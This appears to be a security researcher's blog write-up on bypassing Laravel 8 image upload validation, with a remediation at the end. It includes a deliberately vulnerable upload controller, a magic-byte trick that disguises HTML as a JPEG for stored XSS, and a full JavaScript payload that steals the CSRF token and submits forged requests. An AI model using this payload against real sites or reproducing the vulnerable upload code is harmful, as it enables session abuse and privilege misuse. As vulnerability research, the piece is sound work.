Laravel 8.x image upload bypass

hosein vita
5 min readNov 14, 2021
Laravel 8.x image upload bypass — Zero Day

In the name of God.

Hi researchers,

In this write-up we’re gonna walk through bypassing laravel image upload , which is one the most popular web application framework written in php.

By bypassing laravel’s image validation we can achieve other attacks, first and most loved is XSS and as it is an stored xss we can write a full exploit that let us bypass CSRF and then we are free to do whatever we want with higher privilege and I give it to you in this write-up , I also researched for remediation on this attack and I give that one too.

For better explanation we’re gonna setup our lab together .

Let’s get started

First things first we should create new laravel project :

composer create-project --prefer-dist laravel/laravel blog

Next we should create routes in routes/web.php :

<?phpuse Illuminate\Support\Facades\Route;use App\Http\Controllers\ImageUploadController;Route::get('image-upload', [ ImageUploadController::class, 'imageUpload' ])->name('image.upload');Route::post('image-upload', [ ImageUploadController::class, 'imageUploadPost' ])->name('image.upload.post');

And in next step we should create a Controller, Controllers are meant to group associated request handling logic within a single class.

app/Http/Controllers/ImageUploadController.php

<?phpnamespace App\Http\Controllers;use Illuminate\Http\Request;class ImageUploadController extends Controller{/*** Display a listing of the resource.** @return \Illuminate\Http\Response*/public function imageUpload(){return view('imageUpload');}/*** Display a listing of the resource.** @return \Illuminate\Http\Response*/public function imageUploadPost(Request $request){$request->validate(['image' => 'required|image|mimes:jpeg,png,jpg,gif,svg|max:2048',]);$imageName = time().'.'.$request->image->getClientOriginalExtension();$request->image->move(public_path('images'), $imageName);/* Store $imageName name in DATABASE from HERE */return back()->with('success','You have successfully upload image.')->with('image',$imageName);}}

In the last step we need a imageUpload.blade.php file for the front user:

resources/views/imageUpload.blade.php

<!DOCTYPE html>
<html>
<head>
<title>laravel 8 image upload vulnerability - Hosein Vita</title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css">
</head>
<body>
<div class="container">
<div class="panel panel-primary">
<div class="panel-heading"><h2>laravel 8 image upload vulnerability - Hosein Vita</h2></div>
<div class="panel-body">
@if ($message = Session::get('success'))
<div class="alert alert-success alert-block">
<button type="button" class="close" data-dismiss="alert">×</button>
<strong>{{ $message }}</strong>
</div>
<img src="images/{{ Session::get('image') }}">
@endif
@if (count($errors) > 0)
<div class="alert alert-danger">
<strong>Whoops!</strong> There were some problems with your input.
<ul>
@foreach ($errors->all() as $error)
<li>{{ $error }}</li>
@endforeach
</ul>
</div>
@endif
<form action="{{ route('image.upload.post') }}" method="POST" enctype="multipart/form-data">
@csrf
<div class="row">
<div class="col-md-6">
<input type="file" name="image" class="form-control">
</div>
<div class="col-md-6">
<button type="submit" class="btn btn-success">Upload</button>
</div>
</div>
</form>
</div>
</div>
</div>
</body>
</html>

Okay now we are done and we can simply start it by just typing

php artisan serve” and see this page :

laravel image uplaod vulnerability

Okay now we can start testing on our own lab , Notice that in our Controller file we specified that only files with jpeg,png,jpg,gif,svg mimes are allowed, so we start by changing the mime type and adding second extension:

bypassing image file upload

Response :

Literally we don’t expect that laravel get bypassed this easily, But during testing this kind’s of methods something caught my eye ,

I changed the extension of a legit picture to .html and uploaded it and it was successfully uploaded!

Response:

laravel vulnerability lab

So the logic behinds this tells us that web application cares about the content of our file ! So we need to do something that the application thinks that our file is image but in deep it’s not, For doing this I recommend you to use HxD .

Now open your html file with HxD and add these characters FF D8 FF E0 at the very beginning of your file:

Bypassing laravel file uplaod with header — hosein vita
Tool: HxD

Now we upload this file and test it :

Laravel Stored Xss

Escalating The Vulnerability:

Since we obtained our xss , We need a exploit to bypass the CSRF token ,

All we need to is to send AJAX request to a web page that contains CSRF token in html body page , Extract the token , And use it to Submit any form that we want :

ÿØÿà<html>
<head>
<title>Laravel Csrf Bypass</title>
</head>
<body>
<script>
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
//
xhr.send("_token=" + token + "&desiredParameter=desiredValue");
}
function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
// true on the end of here makes the call asynchronous
//Edit the path as you want
xhr.open("GET", "/image-upload", true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementsByTagName("input")[0];
// Show the token
alert("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}
getTokenJS();
var POST_URL="/"
getTokenJS();
</script>
</html>

Remember to change the values as you want like where should the POST_URL be , and the post parameters that you want.

laravel csrf token bypass

Remediation

By testing many different web applications I found that plenty of those use this logic to behave with file uploads , This block of code is very important :

Laravel vulnerable code

If we change the :

$imageName = time().’.’.$request->image->getClientOriginalExtension();

To:

$imageName = time().’.’.$request->image->extension();

The laravel will save all of the uploaded files with .jpg extension, Now we test our file again :

remediation for laravel vulnerability hosein vita

Now we can make sure that this one won’t be rendered in victim browser.

This is the end , Thank you for reading my article hope you learned something! ❤

Feel free to connect me on Linkedin or Twitter

Linkedin : https://www.linkedin.com/in/hosein-vita-9796ba225

Twitter : https://twitter.com/HoseinVita

--

--